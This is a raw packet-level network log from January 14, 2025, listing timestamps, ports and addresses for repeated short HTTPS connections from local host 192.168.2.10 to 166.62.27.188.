Jan 14, 2025 08:26:01.318473101 CET	443	50046	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:01.318541050 CET	50046	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:01.321144104 CET	50047	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:01.321208954 CET	443	50047	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:01.321455002 CET	50047	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:01.321901083 CET	50047	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:01.321916103 CET	443	50047	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.227528095 CET	443	50047	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.227695942 CET	50047	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.505534887 CET	50047	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.505554914 CET	443	50047	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.506084919 CET	443	50047	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.507633924 CET	50047	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.555324078 CET	443	50047	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.838030100 CET	443	50047	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.838598967 CET	443	50047	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.838649035 CET	50047	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.839741945 CET	50047	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.839756966 CET	443	50047	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.839771032 CET	50047	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.839776039 CET	443	50047	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.953685045 CET	50048	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.953732967 CET	443	50048	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.953792095 CET	50048	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.953964949 CET	50048	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.953995943 CET	443	50048	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.954041004 CET	50048	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.958185911 CET	50049	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.958233118 CET	443	50049	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:02.958323002 CET	50049	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.959217072 CET	50049	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:02.959228039 CET	443	50049	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:03.842268944 CET	443	50049	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:03.842523098 CET	50049	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:03.843962908 CET	50049	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:03.843971968 CET	443	50049	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:03.844286919 CET	443	50049	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:03.845506907 CET	50049	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:03.891333103 CET	443	50049	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:04.415813923 CET	443	50049	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:04.415971994 CET	443	50049	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:04.416027069 CET	50049	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:04.416726112 CET	50049	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:04.416740894 CET	443	50049	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:04.416754961 CET	50049	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:04.416759014 CET	443	50049	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:04.531567097 CET	50050	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:04.531610012 CET	443	50050	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:04.531693935 CET	50050	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:04.531785011 CET	50050	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:04.531960011 CET	443	50050	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:04.532022953 CET	50050	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:04.534441948 CET	50051	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:04.534482002 CET	443	50051	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:04.534569979 CET	50051	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:04.534921885 CET	50051	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:04.534929037 CET	443	50051	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:05.430636883 CET	443	50051	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:05.430865049 CET	50051	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:05.432233095 CET	50051	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:05.432251930 CET	443	50051	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:05.432496071 CET	443	50051	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:05.433814049 CET	50051	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:05.479332924 CET	443	50051	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:06.013497114 CET	443	50051	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:06.013715029 CET	443	50051	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:06.014794111 CET	50051	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:06.014794111 CET	50051	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:06.014794111 CET	50051	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:06.128012896 CET	50052	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:06.128063917 CET	443	50052	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:06.128200054 CET	50052	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:06.128556013 CET	50052	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:06.128619909 CET	443	50052	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:06.128690004 CET	50052	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:06.130966902 CET	50053	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:06.131011963 CET	443	50053	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:06.132479906 CET	50053	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:06.132847071 CET	50053	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:06.132857084 CET	443	50053	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:06.323354959 CET	50051	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:06.323376894 CET	443	50051	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.041331053 CET	443	50053	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.041444063 CET	50053	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.042887926 CET	50053	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.042895079 CET	443	50053	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.043680906 CET	443	50053	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.044951916 CET	50053	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.087335110 CET	443	50053	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.623501062 CET	443	50053	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.623583078 CET	443	50053	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.623661995 CET	50053	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.623893023 CET	50053	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.623919010 CET	443	50053	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.623933077 CET	50053	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.623939037 CET	443	50053	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.737559080 CET	50054	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.737598896 CET	443	50054	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.737783909 CET	50054	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.737987995 CET	50054	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.738028049 CET	443	50054	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.738090992 CET	50054	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.740770102 CET	50055	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.740816116 CET	443	50055	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:07.740911007 CET	50055	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.741276979 CET	50055	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:07.741292000 CET	443	50055	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:08.626601934 CET	443	50055	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:08.626684904 CET	50055	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:08.627985954 CET	50055	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:08.627991915 CET	443	50055	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:08.628226995 CET	443	50055	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:08.629518032 CET	50055	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:08.671336889 CET	443	50055	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:09.204796076 CET	443	50055	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:09.204936028 CET	443	50055	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:09.204999924 CET	50055	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:09.206393003 CET	50055	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:09.206410885 CET	443	50055	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:09.206423998 CET	50055	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:09.206429958 CET	443	50055	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:09.321532011 CET	50056	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:09.321584940 CET	443	50056	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:09.321775913 CET	50056	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:09.327352047 CET	50056	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:09.327442884 CET	443	50056	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:09.327512980 CET	50056	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:09.345865011 CET	50057	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:09.345916986 CET	443	50057	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:09.345988035 CET	50057	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:09.346440077 CET	50057	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:09.346460104 CET	443	50057	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.271039009 CET	443	50057	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.271193027 CET	50057	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.272617102 CET	50057	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.272623062 CET	443	50057	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.272876978 CET	443	50057	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.274221897 CET	50057	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.315362930 CET	443	50057	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.858649015 CET	443	50057	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.858915091 CET	443	50057	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.858989000 CET	50057	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.859075069 CET	50057	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.859075069 CET	50057	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.859117031 CET	443	50057	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.859144926 CET	443	50057	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.973392963 CET	50058	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.973438978 CET	443	50058	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.973530054 CET	50058	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.973658085 CET	50058	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.973700047 CET	443	50058	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.973746061 CET	50058	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.976365089 CET	50059	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.976433992 CET	443	50059	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:10.976541996 CET	50059	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.976849079 CET	50059	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:10.976880074 CET	443	50059	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:11.881330013 CET	443	50059	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:11.881431103 CET	50059	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:11.918804884 CET	50059	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:11.918857098 CET	443	50059	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:11.919090986 CET	443	50059	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:11.921500921 CET	50059	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:11.963355064 CET	443	50059	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:12.472771883 CET	443	50059	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:12.472961903 CET	443	50059	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:12.473181963 CET	50059	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:12.473181963 CET	50059	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:12.473181963 CET	50059	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:12.586393118 CET	50060	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:12.586422920 CET	443	50060	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:12.586558104 CET	50060	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:12.586733103 CET	50060	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:12.586766958 CET	443	50060	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:12.586833000 CET	50060	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:12.589227915 CET	50061	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:12.589315891 CET	443	50061	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:12.589389086 CET	50061	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:12.589745045 CET	50061	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:12.589771986 CET	443	50061	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:12.773403883 CET	50059	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:12.773468971 CET	443	50059	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:13.495234013 CET	443	50061	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:13.495369911 CET	50061	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:13.524360895 CET	50061	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:13.524391890 CET	443	50061	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:13.524668932 CET	443	50061	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:13.525899887 CET	50061	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:13.567332029 CET	443	50061	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:14.082159996 CET	443	50061	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:14.082660913 CET	443	50061	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:14.086690903 CET	50061	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:14.086734056 CET	50061	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:14.086751938 CET	443	50061	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:14.086762905 CET	50061	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:14.086767912 CET	443	50061	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:14.198388100 CET	50062	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:14.198412895 CET	443	50062	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:14.198559046 CET	50062	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:14.198652983 CET	50062	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:14.198739052 CET	443	50062	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:14.199074984 CET	50062	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:14.201348066 CET	50063	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:14.201359987 CET	443	50063	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:14.201495886 CET	50063	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:14.201781034 CET	50063	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:14.201793909 CET	443	50063	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:15.086575985 CET	443	50063	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:15.086716890 CET	50063	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.088180065 CET	50063	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.088192940 CET	443	50063	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:15.088551998 CET	443	50063	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:15.090162992 CET	50063	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.131330967 CET	443	50063	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:15.664854050 CET	443	50063	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:15.665251017 CET	443	50063	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:15.665357113 CET	50063	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.665481091 CET	50063	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.665487051 CET	443	50063	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:15.778177977 CET	50064	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.778251886 CET	443	50064	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:15.778393984 CET	50064	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.778546095 CET	50064	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.778599024 CET	443	50064	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:15.778667927 CET	50064	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.780848026 CET	50065	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.780879974 CET	443	50065	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:15.781006098 CET	50065	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.781364918 CET	50065	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:15.781380892 CET	443	50065	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:16.712256908 CET	443	50065	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:16.712395906 CET	50065	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:16.713973999 CET	50065	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:16.713984966 CET	443	50065	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:16.714196920 CET	443	50065	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:16.715483904 CET	50065	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:16.759340048 CET	443	50065	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:17.316952944 CET	443	50065	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:17.317246914 CET	443	50065	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:17.317343950 CET	50065	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:17.318766117 CET	50065	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:17.318766117 CET	50065	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:17.318794012 CET	443	50065	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:17.318804026 CET	443	50065	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:17.430584908 CET	50066	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:17.430680990 CET	443	50066	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:17.430809021 CET	50066	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:17.430955887 CET	50066	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:17.430999994 CET	443	50066	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:17.431062937 CET	50066	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:17.434104919 CET	50067	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:17.434144974 CET	443	50067	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:17.434892893 CET	50067	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:17.434892893 CET	50067	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:17.434933901 CET	443	50067	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:18.337976933 CET	443	50067	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:18.338150978 CET	50067	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:18.339684010 CET	50067	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:18.339699030 CET	443	50067	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:18.340023994 CET	443	50067	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:18.341270924 CET	50067	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:18.383332968 CET	443	50067	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:18.920625925 CET	443	50067	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:18.920794010 CET	443	50067	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:18.920859098 CET	50067	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:18.920917988 CET	50067	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:18.920938015 CET	443	50067	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:18.920949936 CET	50067	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:18.920955896 CET	443	50067	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:19.034457922 CET	50068	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:19.034532070 CET	443	50068	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:19.034647942 CET	50068	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:19.034811020 CET	50068	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:19.034831047 CET	443	50068	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:19.034884930 CET	50068	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:19.037354946 CET	50069	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:19.037419081 CET	443	50069	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:19.037507057 CET	50069	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:19.037839890 CET	50069	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:19.037856102 CET	443	50069	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:19.945420980 CET	443	50069	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:19.945571899 CET	50069	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:19.947457075 CET	50069	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:19.947468996 CET	443	50069	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:19.947720051 CET	443	50069	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:19.949081898 CET	50069	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:19.995336056 CET	443	50069	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:20.531558037 CET	443	50069	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:20.531730890 CET	443	50069	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:20.531821966 CET	50069	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:20.531920910 CET	50069	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:20.531966925 CET	443	50069	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:20.531986952 CET	50069	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:20.531997919 CET	443	50069	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:20.646243095 CET	50070	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:20.646318913 CET	443	50070	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:20.646441936 CET	50070	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:20.650089979 CET	50070	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:20.650150061 CET	443	50070	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:20.650221109 CET	50070	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:20.653223991 CET	50071	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:20.653281927 CET	443	50071	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:20.653359890 CET	50071	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:20.653870106 CET	50071	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:20.653887987 CET	443	50071	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:21.549592972 CET	443	50071	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:21.549741030 CET	50071	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:21.551335096 CET	50071	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:21.551352978 CET	443	50071	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:21.551603079 CET	443	50071	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:21.552911043 CET	50071	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:21.595328093 CET	443	50071	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:22.140041113 CET	443	50071	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:22.140288115 CET	443	50071	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:22.140363932 CET	50071	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:22.140465975 CET	50071	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:22.140492916 CET	443	50071	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:22.140532017 CET	50071	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:22.140537977 CET	443	50071	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:22.255625010 CET	50072	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:22.255708933 CET	443	50072	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:22.255804062 CET	50072	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:22.262804985 CET	50072	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:22.262876987 CET	443	50072	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:22.262937069 CET	50072	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:22.265867949 CET	50073	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:22.265919924 CET	443	50073	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:22.265999079 CET	50073	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:22.266343117 CET	50073	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:22.266357899 CET	443	50073	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:23.156197071 CET	443	50073	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:23.156474113 CET	50073	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:23.157816887 CET	50073	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:23.157824039 CET	443	50073	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:23.158030987 CET	443	50073	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:23.159162045 CET	50073	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:23.203325987 CET	443	50073	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:23.734292984 CET	443	50073	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:23.734472990 CET	443	50073	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:23.734540939 CET	50073	443	192.168.2.10	166.62.27.188
